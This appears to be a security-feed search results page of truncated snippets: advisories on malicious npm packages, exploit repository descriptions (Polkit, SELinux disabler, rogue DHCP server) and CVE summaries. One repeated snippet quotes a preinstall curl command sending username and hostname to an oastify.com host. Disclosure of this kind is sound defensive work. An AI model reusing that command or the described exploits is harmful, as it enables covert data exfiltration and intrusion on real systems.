1941557 matches found
Malicious code in concierge-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b The package's declared postinstall script executes exfilv2.js at npm install time. That script harvests the full process environment, current working...
MAL-2026-16145 Malicious code in concierge-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4de458111994244a0a590117185f9e345ff27043c129d4ea24fcb3be5f98f67b The package's declared postinstall script executes exfilv2.js at npm install time. That script harvests the full process environment, current working...
Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
MAL-2026-16144 Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
CVE-2025-0282-Full-version
Storks: Remote Code Execution Vulnerability Exploitation Tool Overview Storks is a Python-based Proof-of-Concept PoC tool designed to demonstrate a critical Remote Code Execution RCE vulnerability, identified as CVE-2025-0282 , in a specific network appliance. This vulnerability can be exploited ...
CVE-2026-27771
CVE-2026-27771 — Gitea Container Registry Auth Bypass CVSS: N/A unpublished Affects: Gitea Disclaimer: This proof-of-concept is provided for educational and authorized security research purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misu...
badepoll-selinux-disabler
badepoll-selinux-disabler Standalone extraction of the SELinux-disabling stage from the CVE-2026-43074 eventpoll UAF exploit. It races the eventpoll loop-depth check epgetupwardsdepthproc to write a zero into selinuxstate.enforcing, switching the device to Permissive via a single-byte kernel writ...
Polkit-exploit
Polkit-exploit - CVE-2021-3560 Privilege escalation with polkit - CVE-2021-3560 Summary CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice CreateUs...
CVE-2026-9997-VPN-Split-Tunneling-Bypass-via-DHCP-Option-Injection
CVE-2026-9997 – VPN Split‑Tunneling Bypass via DHCP Option Injection Program Code Python simulated DHCP server + client root@kitploit: !/usr/bin/env python3 roguedhcpserver.py - Injects a static route to bypass VPN split tunnel import socket, struct, threading def senddhcpofferclientmac, offerip:...
tplink-CVE-2017-11519
tplink-CVE-2017-11519 POC for TP-Link Archer C9 - Admin Password Reset and RCE CVE-2017-11519 See the writeup at https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html...
EUVD-2026-77578
The OpenTelemetry Operator is a Kubernetes Operator for the OpenTelemetry Collector. Prior to 0.152.0, cmd/otel-allocator TargetAllocator instances with targetAllocator.prometheusCR.enabled set to true preserve a selected ServiceMonitor endpoint's bearerTokenFile value as...
CVE-2026-47701 OpenTelemetry Operator: ServiceMonitor bearerTokenFile reads arbitrary local file and sends contents as bearer auth
The OpenTelemetry Operator is a Kubernetes Operator for the OpenTelemetry Collector. Prior to 0.152.0, cmd/otel-allocator TargetAllocator instances with targetAllocator.prometheusCR.enabled set to true preserve a selected ServiceMonitor endpoint's bearerTokenFile value as...
CVE-2026-47701 OpenTelemetry Operator: ServiceMonitor bearerTokenFile reads arbitrary local file and sends contents as bearer auth
The OpenTelemetry Operator is a Kubernetes Operator for the OpenTelemetry Collector. Prior to 0.152.0, cmd/otel-allocator TargetAllocator instances with targetAllocator.prometheusCR.enabled set to true preserve a selected ServiceMonitor endpoint's bearerTokenFile value as...
CVE-2026-47701 OpenTelemetry Operator: ServiceMonitor bearerTokenFile reads arbitrary local file and sends contents as bearer auth
The OpenTelemetry Operator is a Kubernetes Operator for the OpenTelemetry Collector. Prior to 0.152.0, cmd/otel-allocator TargetAllocator instances with targetAllocator.prometheusCR.enabled set to true preserve a selected ServiceMonitor endpoint's bearerTokenFile value as...
CVE-2026-47701
CVE-2026-47701 affects the OpenTelemetry Operator for Kubernetes prior to version 0.152.0 . The vulnerability exists in the cmd/otel-allocator TargetAllocator when targetAllocator.prometheusCR.enabled is set to true. A tenant with permission to create or update a ServiceMonitor matched by the ope...
CVE-2026-54541
Nimiq core-rs-albatross (≤ 1.5.1) contains a denial-of-service vulnerability in the TrieProof verification path used during state sync. A malicious sync peer can send a crafted TrieChunk containing two TrieProofNode values with identical keys, triggering an unconditional unwrap() on KeyNibbles::g...
CVE-2026-54541 Nimiq: Panic in TrieProof::verify via child_index unwrap on equal-length keys
Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk proof containing two TrieProofNode values with identical keys. TrieProof::verify call...
CVE-2026-54541 Nimiq: Panic in TrieProof::verify via child_index unwrap on equal-length keys
Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk proof containing two TrieProofNode values with identical keys. TrieProof::verify call...
EUVD-2026-77576
Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk proof containing two TrieProofNode values with identical keys. TrieProof::verify call...
CVE-2026-54541 Nimiq: Panic in TrieProof::verify via child_index unwrap on equal-length keys
Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk proof containing two TrieProofNode values with identical keys. TrieProof::verify call...